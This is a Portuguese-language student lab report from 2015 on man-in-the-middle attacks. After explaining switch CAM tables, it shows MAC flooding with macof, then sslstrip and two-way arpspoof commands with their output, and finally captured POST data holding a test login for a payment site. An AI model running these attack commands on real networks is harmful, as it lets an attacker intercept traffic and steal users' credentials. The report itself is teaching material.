Faculdade de Tecnologia Senac Goiás

TECNOLOGIA DE REDES

Goiânia,2015

MITM

O man-in-the-middle (*homem no meio,* em referência ao atacante que intercepta os dados) é uma forma de ataque em que os dados trocados entre duas partes, são de alguma forma interceptados, registrados e possivelmente alterados pelo atacante sem que as vitimas se apercebam.

CAM Table

Switches modernos são capazes de trabalhar com milhares de conexões simultâneas sem se perder. Isso acontece por que eles mantém um "mapeamento" em sua memória dizendo para ele em qual porta um host (ou hosts) está localizado. A esta tabela damos o nome de CAM (ContentAddressableMemory) table, como dito anteriormente. Para popular a CAM table, o processo é o seguinte:

- O switch recebe o frame enviado por um host
- O endereço MAC de origem é lido
- Verifica-se a CAM table procurando pelo endereço presente no frame em questão. Se este endereço não for encontrado, ele é adicionado à tabela.
- O frame é encaminhado e o mesmo processo é feito para o próximo frame na fila.

Na CAM table então, há o mapeamento de endereço MAC e porta, por exemplo:

Porta1 > F0-4D-A2-E4-59-5F
Porta2 > AB-52-EF-C1-CF-32
Porta3 > 98-E1-CB-AD-33-AA,34-AA-BB-CC-DD-23

A CAM table é armazenada em um recurso finito do switch: a memória RAM. E se nós enviarmos bilhões de endereços MACs inválidos para o switch? Ele vai começar a armazenar todos na CAM table até chegar a um ponto onde o espaço em memória será esgotado. Quando chegarmos a este ponto, o **switch vai passar a agir exatamente como um hub**: **todos os pacotes que chegam serão enviados para todas as portas, permitindo que você sniffe todo o tráfego da rede**.

Ataque na tabela CAM do Switch

- Tabela Cam do Switch antes do ataque

```
Switch>show mac address-table count

Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count  : 0
Static  Address Count  : 0
Total Mac Addresses    : 0

Total Mac Address Space Available: 7455

Switch>
```

```
Switch#show mac-address-table
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
 All    0100.0ccc.cccc    STATIC      CPU
 All    0100.0ccc.cccd    STATIC      CPU
 All    0180.c200.0000    STATIC      CPU
 All    0180.c200.0001    STATIC      CPU
 All    0180.c200.0002    STATIC      CPU
 All    0180.c200.0003    STATIC      CPU
 All    0180.c200.0004    STATIC      CPU
 All    0180.c200.0005    STATIC      CPU
 All    0180.c200.0006    STATIC      CPU
 All    0180.c200.0007    STATIC      CPU
 All    0180.c200.0008    STATIC      CPU
 All    0180.c200.0009    STATIC      CPU
 All    0180.c200.000a    STATIC      CPU
 All    0180.c200.000b    STATIC      CPU
 All    0180.c200.000c    STATIC      CPU
 All    0180.c200.000d    STATIC      CPU
 All    0180.c200.000e    STATIC      CPU
 All    0180.c200.000f    STATIC      CPU
 All    0180.c200.0010    STATIC      CPU
 All    ffff.ffff.ffff    STATIC      CPU
   1    50e5.49f7.0a93    DYNAMIC     Fa0/1
Total Mac Addresses for this criterion: 21
```

➢ Efetuando o ataque ao switch

```
root@kali:~# macof -i eth0
2c:85:a7:76:e0:d0 e6:f6:21:32:65:99 0.0.0.0.54588 > 0.0.0.0.41785: S 1988666124:1988666124(0) win 512
7a:a7:8f:19:cd:cc 25:e8:46:48:3a:a7 0.0.0.0.29786 > 0.0.0.0.24359: S 1740256787:1740256787(0) win 512
f3:3f:20:7c:8f:4a 24:87:fd:34:fa:e7 0.0.0.0.39618 > 0.0.0.0.52467: S 1838782810:1838782810(0) win 512
d:93:b5:2:c7:82 de:4:ac:74:cb:be 0.0.0.0.7292 > 0.0.0.0.29034: S 1672740900:1672740900(0) win 512
f4:e9:29:6d:e2:24 8f:5b:50:27:8a:7 0.0.0.0.52962 > 0.0.0.0.16502: S 704000359:704000359(0) win 512
ba:36:f8:52:70:97 71:c8:ce:6e:d4:c5 0.0.0.0.61520 > 0.0.0.0.39469: S 1530570893:1530570893(0) win 512
54:30:83:12:8b:99 9:2a:3:50:62:3c 0.0.0.0.64768 > 0.0.0.0.62674: S 415690460:415690460(0) win 512
86:94:5e:16:c0:de 4d:80:6d:5:c5:2d 0.0.0.0.10747 > 0.0.0.0.46382: S 382040968:382040968(0) win 512
dd:20:1:1:1:1c 33:bf:96:5d:1e:59 0.0.0.0.36850 > 0.0.0.0.21030: S 1290758516:1290758516(0) win 512
cc:ed:9d:5b:3b:f9 1d:1:29:2c:76:43 0.0.0.0.55727 > 0.0.0.0.45726: S 1480565296:1480565296(0) win 512
36:80:41:13:55:a5 b7:9a:5d:25:32:19 0.0.0.0.27401 > 0.0.0.0.32021: S 1259573371:1259573371(0) win 512
17:91:57:71:6c:fd c5:96:93:2:39:9f 0.0.0.0.15215 > 0.0.0.0.59005: S 1680009521:1680009521(0) win 512
1d:7d:1b:7d:be:16 d4:2d:3a:3d:7e:a7 0.0.0.0.44315 > 0.0.0.0.13285: S 787719255:787719255(0) win 512
c3:83:74:11:c2:66 ce:1d:13:2f:4c:55 0.0.0.0.31660 > 0.0.0.0.60158: S 355960793:355960793(0) win 512
8c:72:ca:75:80:1f ef:a5:b9:2e:af:81 0.0.0.0.31965 > 0.0.0.0.64040: S 427882545:427882545(0) win 512
de:27:1d:44:eb:8b 67:d0:88:10:a:57 0.0.0.0.30646 > 0.0.0.0.24710: S 1844609303:1844609303(0) win 512
87:1f:8b:68:41:84 68:1b:5c:16:f3:54 0.0.0.0.62702 > 0.0.0.0.54586: S 1312083588:1312083588(0) win 512
```

➢ Tabela Cam do Switch após o ataque

```
Switch>show mac address-table count

Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count  : 8072
Static  Address Count  : 0
Total Mac Addresses    : 8072

Total Mac Address Space Available: 0

Switch>
```

```
Switch#show mac address-table
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
 All    0100.0ccc.cccc    STATIC      CPU
 All    0100.0ccc.cccd    STATIC      CPU
 All    0180.c200.0000    STATIC      CPU
 All    0180.c200.0001    STATIC      CPU
 All    0180.c200.0002    STATIC      CPU
 All    0180.c200.0003    STATIC      CPU
 All    0180.c200.0004    STATIC      CPU
 All    0180.c200.0005    STATIC      CPU
 All    0180.c200.0006    STATIC      CPU
 All    0180.c200.0007    STATIC      CPU
 All    0180.c200.0008    STATIC      CPU
 All    0180.c200.0009    STATIC      CPU
 All    0180.c200.000a    STATIC      CPU
 All    0180.c200.000b    STATIC      CPU
 All    0180.c200.000c    STATIC      CPU
 All    0180.c200.000d    STATIC      CPU
 All    0180.c200.000e    STATIC      CPU
 All    0180.c200.000f    STATIC      CPU
 All    0180.c200.0010    STATIC      CPU
 All    ffff.ffff.ffff    STATIC      CPU
   1    0005.5033.eb2a    DYNAMIC     Fa0/1
   1    000a.c042.28e5    DYNAMIC     Fa0/1
   1    000b.c444.a076    DYNAMIC     Fa0/1
   1    000d.ad60.bded    DYNAMIC     Fa0/1
   1    0016.396c.e9f6    DYNAMIC     Fa0/1
   1    0017.e561.7117    DYNAMIC     Fa0/1
   1    0019.2570.25f0    DYNAMIC     Fa0/1
   1    001a.5e11.bb3f    DYNAMIC     Fa0/1
   1    383e.cc24.b530    DYNAMIC     Fa0/1
   1    44d2.8970.4321    DYNAMIC     Fa0/1
   1    4c51.bd1b.3a9f    DYNAMIC     Fa0/1
   1    4e0c.081d.c9ae    DYNAMIC     Fa0/1
   1    50d1.d23a.8015    DYNAMIC     Fa0/1
   1    50e5.49fa.f1dd    DYNAMIC     Fa0/3
   1    6017.d334.57d7    DYNAMIC     Fa0/1
   1    62e5.5314.ce33    DYNAMIC     Fa0/1
   1    648a.3c53.79dd    DYNAMIC     Fa0/1
   1    680e.3a73.c92e    DYNAMIC     Fa0/1
   1    724a.ae0a.15a7    DYNAMIC     Fa0/1
   1    72cb.db3d.9c84    DYNAMIC     Fa0/1
   1    7c20.6b14.b3c3    DYNAMIC     Fa0/1
   1    804b.c70d.9e23    DYNAMIC     Fa0/1
   1    80c1.ec67.2ee4    DYNAMIC     Fa0/1
   1    8283.6c47.ee79    DYNAMIC     Fa0/1
   1    86dc.2461.a323    DYNAMIC     Fa0/1
   1    8c4e.d817.6b58    DYNAMIC     Fa0/1
   1    900c.db0b.7772    DYNAMIC     Fa0/1
   1    94d3.3f06.c494    DYNAMIC     Fa0/1
   1    94d6.f170.4cff    DYNAMIC     Fa0/1
   1    96b4.e52c.3b95    DYNAMIC     Fa0/1
   1    a269.f71c.3d02    DYNAMIC     Fa0/1
   1    a2c9.eb65.0519    DYNAMIC     Fa0/1
   1    ae94.e459.1d0f    DYNAMIC     Fa0/1
   1    b443.bd59.c199    DYNAMIC     Fa0/1
   1    b486.b60e.dc5e    DYNAMIC     Fa0/1
   1    b850.4d4d.eb9b    DYNAMIC     Fa0/1
   1    be0c.1b17.f813    DYNAMIC     Fa0/1
   1    be64.b82d.d00e    DYNAMIC     Fa0/1
   1    ca72.1e55.1bc3    DYNAMIC     Fa0/1
   1    d25c.3734.f0c4    DYNAMIC     Fa0/1
   1    de6e.4229.b429    DYNAMIC     Fa0/1
   1    f239.227c.fc1b    DYNAMIC     Fa0/1
   1    fafa.ae6d.499a    DYNAMIC     Fa0/1
Total Mac Addresses for this criterion: 1435
```

Capturando Dados na Rede

- Ativando o sslstrip para salvar em um arquivo txt.

```
root@kali:~# sslstrip -w pimod2.txt -l 10000

sslstrip 0.9 by Moxie Marlinspike running...
```

- Comando do ataque usando arpspoof, essa ferramenta requer que o trafego seja redirecionado duas vezes.

```
root@kali:~# arpspoof -i eth0 -t 192.168.25.2 192.168.25.1
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e 8:0:27:c5:f6:ac 0806 42: arp reply 192.168.25.1 is-at 8:0:27:75:c2:7e
```

```
root@kali:~# arpspoof -i eth0 -t 192.168.25.1 192.168.25.2
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
8:0:27:75:c2:7e ec:22:80:4f:31:c3 0806 42: arp reply 192.168.25.2 is-at 8:0:27:75:c2:7e
```

- Resultado da Captura de Pacotes

```
root@kali:~# cat pimod2.txt
2015-11-30 21:31:37,895 POST Data (www.bing.com):
<ClientInstRequest><Events><E><T>Event.ClientInst</T><IG>67c8be0b75af4115961cd1758
xModel","FID":"CI","Name":"v2.7.2","P":{"C":30,"N":1,"I":"3jd","S":"T+BD+C+U","M":
},"V":"x4/0/0/l7/am/ri/du/-1/-1","L":"x4/0/DIV.b_scopebar/SERP,5032.1/2s/29/ea/u/5-
e/fk/16/4+x4/3/DIV#id_h/SERP,5038.1/0/0/0/0/5+x4/4/SPAN.sb_count//3c/3q/4k/u/3+x4/
s/4k/fk/8y/3+x4/7/@0/SERP,5140.1/2s/dk/fk/2n/3+x4/8/@0/SERP,5152.1/2s/g9/fk/2n/3+x
/fk/2n/3+x4/b/@0/SERP,5205.1/2s/pl/fk/2n/3+x4/c/@0/SERP,5218.1/2s/rq/fk/2n/3+x4/d/
2n/3+x4/f/@1/SERP,5314.1/2s/10s/fk/42/3+x4/g/LI.b_pag/SERP,5345.1/2s/14w/fk/2q/3+x
/87/5i/3+x4/j/DIV.b_footer/SERP,5367.1/0/17o/ri/2r/1+x4/k/IMG#id_p//0/0/0/0/7+x4/l
@2/mouse/1/5u/5c/+10g//mouseup/////+//click//0///","BD":"y8/@2/1448926296"}]]]></D
2015-11-30 21:32:44,197 POST Data (pagseguro.uol.com.br):
acsrfToken=UJcklyEX3uznYopNeSynAxGPA7AZl6aSOh0kNjmUTtY2-1448926341235-14400000-32&
ub.jhtml&user=teste@gmail.com&pass=teste
```

pagseguro.uol.com.br   user=teste@gmail.com   pass=teste